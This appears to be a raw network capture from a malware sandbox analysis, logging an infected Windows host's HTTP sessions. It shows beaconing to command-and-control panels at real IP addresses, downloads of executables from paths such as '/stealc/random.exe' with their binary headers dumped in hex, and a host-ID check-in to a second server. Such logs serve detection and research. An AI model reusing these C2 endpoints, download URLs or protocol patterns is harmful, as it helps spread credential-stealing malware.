Jul 4, 2024 22:20:37.624440908 CEST	1236	IN	Data Raw: b9 41 f3 cd 4a 17 53 76 a1 31 69 03 c8 3e 7c eb ab f2 8a 03 2b ca 57 35 97 31 a7 28 ed 8b df 30 8b f4 45 db 8e 7b 39 f3 c4 91 0a 8d 14 81 95 cb b3 78 9a 97 34 fe 83 8a 2a 6b 4a 27 e4 9b 65 e9 6b 14 c0 a5 ac 5f e1 dd b1 90 8c cd 03 51 a3 14 0d 6d Data Ascii: AJSv1i>\|+W51(0E{9x4*kJ'ek_QmUR}@T2CRV0Zc'~?$B1Q=Y$k!8up)E%:OgyFf4r}sy,UU$Hd[Jn=7 7mCILrj
Jul 4, 2024 22:20:37.629196882 CEST	1236	IN	Data Raw: e4 e7 9b e1 ca 97 b7 94 b0 f7 ad 2d f9 c8 04 27 34 85 92 68 33 41 b5 88 6c 7d 47 ef 8a b4 4a 45 89 eb f9 7c ab d1 d3 2b 66 db f8 35 8b 31 3d 00 f9 4a ec 14 7d d4 87 01 a5 a0 fc b8 4d dc 7e aa 29 63 97 0d ee 23 b7 b8 5d 7a 2e a4 9d fc 54 9a 71 25 Data Ascii: -'4h3Al}GJE\|+f51=J}M~)c#]z.Tq%3rC'*bkkS>R!.\|<W4QvwFSQcQ0R##Cr<CQ`&Awu91<4'BWJK[g^JMV?'P$RA/#=$p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49718	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:03.425343990 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:04.129435062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:04.130285978 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:04.355559111 CEST	365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 61 66 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 30 30 30 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 63 64 64 64 64 61 62 61 34 65 30 62 35 63 35 37 62 39 64 34 63 30 32 62 62 34 62 65 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: af <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#1000007001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1cecddddaba4e0b5c57b9d4c02bb4be1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	77.91.77.81	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:04.370266914 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 4, 2024 22:21:05.060921907 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:04 GMT Content-Type: application/octet-stream Content-Length: 2533376 Last-Modified: Thu, 04 Jul 2024 19:57:26 GMT Connection: keep-alive ETag: "6686fea6-26a800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c8 e6 86 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 fc 0d bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 bf 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELf!@0@ e@@@0!@@Pp# @x#(@.data"t"4@
Jul 4, 2024 22:21:05.060937881 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 96 d0 f0 5a 24 c0 b2 6c 5b 36 4c 51 e9 46 95 3c 02 b3 13 5a e5 f7 9b 87 59 Data Ascii: Z$l[6LQF<ZY!Qrm\/^)bnR5Q+`UKHycp~%E.$09sJ7r7B,/v>7oEU8&3.x9DXm'pts7-&>;,j
Jul 4, 2024 22:21:05.060947895 CEST	1236	IN	Data Raw: 7f 89 a0 99 02 23 9f 8c c5 62 b7 f3 0a 67 7c 6a 83 ca 84 23 15 81 6f 5c d3 99 55 d1 e6 d6 85 d9 24 13 ee f9 69 21 59 40 9e 70 94 e5 81 fd e0 08 bb 54 1c 01 f7 49 86 26 20 c5 f1 b9 69 29 72 2c 0c 6d 97 07 eb e5 6d 5d c4 47 d5 e8 d2 30 1e 80 47 88 Data Ascii: #bg\|j#o\U$i!Y@pTI& i)r,mm]G0G2f=6{)f9bBS(dlbA6X_sB\jc!IBn4r$J;yqKBY{7_V4q(2\\|)D/
Jul 4, 2024 22:21:05.061037064 CEST	1236	IN	Data Raw: 16 be 04 bd f6 a0 15 5f af c2 81 21 1f bf f2 52 f6 6b 46 b8 ad e0 c8 86 55 18 78 20 cf 4a 7e d1 fe 59 96 ec af de db f5 d1 02 ac 0f 60 42 63 f8 2a 69 f5 7f 85 00 5b e3 66 13 da 9c db 01 ba 53 ec d5 af 5a 3a b2 f9 3a 69 24 ba 0c aa 40 69 38 19 6b Data Ascii: _!RkFUx J~Y`Bci[fSZ::i$@i8kv}b@y1Dv'EL-i7]G.h&Vx}[Z)6T+6M9Zn^e7A6gTyP(m`L-g;~3Kb
Jul 4, 2024 22:21:05.061049938 CEST	1236	IN	Data Raw: fd 39 ae c9 bc d4 73 50 02 f3 f3 78 bb 8c 30 22 9b b9 65 64 3e 51 14 43 31 21 01 a2 2a 06 3c 2f fd f3 39 9f 5f 9f 97 2c 8c 45 86 3c 46 81 cc f1 1c 02 08 ce 54 14 b5 a0 25 e5 32 97 7c 8c 9b 8b c4 c0 ae e6 7c 00 f1 fc bb f4 4a 1c 84 14 c4 2b 43 54 Data Ascii: 9sPx0"ed>QC1!*</9_,E<FT%2\|\|J+CTK\VHxcJ\|UYr5sM%"b)4I.3gVEeB-09s;1z3/qNmb-:wOSmXOFp8@pwuAwe
Jul 4, 2024 22:21:05.061059952 CEST	1236	IN	Data Raw: 4a 46 5e 1a 5c 95 7f 85 0d 34 96 79 99 99 fa 12 22 4a 1d 0a 2b 64 80 a9 da c0 d2 d5 24 ed 77 78 a1 a3 35 67 3e 3b c1 b3 21 e0 f4 78 ca fd c3 37 33 29 4c fa 49 36 de 0c 1b da 18 3c 06 69 5d db 7b 15 82 46 40 26 76 6a 06 b9 51 50 e8 b6 84 74 1c 44 Data Ascii: JF^\4y"J+d$wx5g>;!x73)LI6<i]{F@&vjQPtD&HrttYr5kx d!63,1OB%dY;Wx&VV'D*{jiD ykxEll{S<qSqcY+JI;
Jul 4, 2024 22:21:05.061073065 CEST	1236	IN	Data Raw: 75 0a 18 87 6c cc 5f 17 57 a5 4a 1c 0c 2c c2 86 23 13 92 db 5d b6 37 ca bd f8 0e 4c 76 1e 92 5c 83 d8 43 db 0e 63 69 c3 97 9f 24 6d 58 fc 56 b8 90 3f 94 88 1a c6 ae 16 aa ab f4 68 d3 4b 7e 2e 98 95 89 53 bd e5 24 ca f9 69 80 81 14 d6 2e f9 67 16 Data Ascii: ul_WJ,#]7Lv\Cci$mXV?hK~.S$i.geX)*zs cnAf#0>UDCb.RCc1D#"Q!VWKaCC>'g2t?{E'x39]3$%y3G3c"qS{ ?#b,9
Jul 4, 2024 22:21:05.061184883 CEST	1236	IN	Data Raw: 7f b6 ba 77 8e 12 76 7a 29 1b aa db 70 a5 e6 51 a2 d2 45 bf 74 a0 f6 ac 52 59 aa b7 f6 50 a4 84 f0 81 cc ee 4c 1e 0b 48 b5 91 ed d1 fb 88 d0 6f 29 35 b9 7a cb 82 e8 67 6d 2d c6 95 a3 60 48 c6 02 2c cc b5 63 32 ac 0e 56 69 10 65 7a b9 f1 ef bd 06 Data Ascii: wvz)pQEtRYPLHo)5zgm-`H,c2ViezUN4jh~h2Ms3J(xdnfB4YGls-o}<(3LKo-\|'r9\|"@(Ky: t&;8vlsO!NTrgn$rGvV
Jul 4, 2024 22:21:05.061196089 CEST	1236	IN	Data Raw: 4a 4d cd 7e ee 8e 6b 7a eb 54 de ec 3b 36 08 08 13 4d 5f 05 64 9e 86 a9 2a bb 26 d2 5c a2 1b 7b b1 4e 1b 9e de 46 16 42 20 11 39 8e 0d b1 3f 97 dc 52 0a a3 a1 a1 4c 2d a5 2a 4e 84 ce 6a 46 54 06 63 f1 aa 10 7b f5 9b fa db a5 7b 6b 8f 81 de 69 f7 Data Ascii: JM~kzT;6M_d&\{NFB 9?RL-NjFTc{{kiwF<?ESw!'B(V mg/}V#/G6y_68M io;!R ^%Qo8d6Hu7rC xPy^Q:Zu\|[PO:
Jul 4, 2024 22:21:05.061207056 CEST	1236	IN	Data Raw: b4 15 24 8e 27 4d 70 fa 5b 53 0f 02 2c 99 4a 0d 00 cd d9 50 a0 68 d1 b9 35 fc 76 20 26 1a 03 d7 b7 1a e5 30 09 5a f6 34 9d ff 8f e2 fb e5 7c e7 42 10 4a a1 a3 7b d9 f7 a5 e5 94 9a 6c bb be 74 fd ba d2 db 69 25 84 29 d7 e6 21 c8 99 7a ef 4a 6c 49 Data Ascii: $'Mp[S,JPh5v &0Z4\|BJ{lti%)!zJlItE`Smc0\|-H#Yp.Jl2JvZG}qB-`LFbLtW%[YO ;!_X?79!\|oK ng
Jul 4, 2024 22:21:05.066306114 CEST	1236	IN	Data Raw: 90 be 3d fb 69 4d ef b1 bf c1 fa 45 17 30 a5 84 8d 72 aa 5a 60 15 24 92 12 1d 6d 95 df 6b ae 16 ff 92 3e d9 aa 72 75 9f ee 5e 94 1c 87 a1 11 e2 f4 7d 3c b0 98 e3 9a 70 d6 d7 ae 77 f5 df 69 7c 39 78 7c da 2d 23 27 29 94 8b 38 2f 0c 92 d1 4c 9a d5 Data Ascii: =iME0rZ`$mk>ru^}<pwi\|9x\|-#')8/LMm?`kqNl\\+~/#Jt]i4#%qr6Qwx/9=^Rl(>y$uLwuUtJOM..l z'(9_Nj,`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	85.28.47.30	80	4320	C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:07.764446974 CEST	408	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 85.28.47.30 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 45 46 36 41 36 32 38 32 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"18EF6A6282E5845770397------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"Nice------CBFCBKKFBAEHJKEBKFCB--
Jul 4, 2024 22:21:39.095992088 CEST	211	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:21:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49721	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:07.814567089 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jul 4, 2024 22:21:08.528716087 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	77.91.77.81	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:08.535398006 CEST	52	OUT	GET /well/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 4, 2024 22:21:09.229717016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:09 GMT Content-Type: application/octet-stream Content-Length: 1166336 Last-Modified: Thu, 04 Jul 2024 20:03:03 GMT Connection: keep-alive ETag: "6686fff7-11cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f0 ff 86 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"w@0E@@@d\|@\|au4@.text `.rdata@@.datalpH@.rsrc\|a@b@@.relocuvV@B
Jul 4, 2024 22:21:09.229737997 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Jul 4, 2024 22:21:09.229749918 CEST	1236	IN	Data Raw: 00 8d b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Jul 4, 2024 22:21:09.229829073 CEST	1236	IN	Data Raw: e8 1b 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4M
Jul 4, 2024 22:21:09.229840994 CEST	1236	IN	Data Raw: b1 00 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Jul 4, 2024 22:21:09.229851961 CEST	1236	IN	Data Raw: 00 00 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Jul 4, 2024 22:21:09.229863882 CEST	1236	IN	Data Raw: 09 0f 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuW
Jul 4, 2024 22:21:09.229990005 CEST	1236	IN	Data Raw: 4d 00 a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b Data Ascii: MMW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^U
Jul 4, 2024 22:21:09.230000973 CEST	1236	IN	Data Raw: 0f 84 cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0j
Jul 4, 2024 22:21:09.230010986 CEST	1236	IN	Data Raw: a4 19 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mru
Jul 4, 2024 22:21:09.234896898 CEST	1236	IN	Data Raw: 6a 01 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e Data Ascii: jSRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:11.059998035 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000007001&unit=246122658369
Jul 4, 2024 22:21:11.797671080 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49724	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:12.154881001 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:12.822223902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:12.823034048 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:13.047147989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49729	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:13.165992022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:13.874470949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
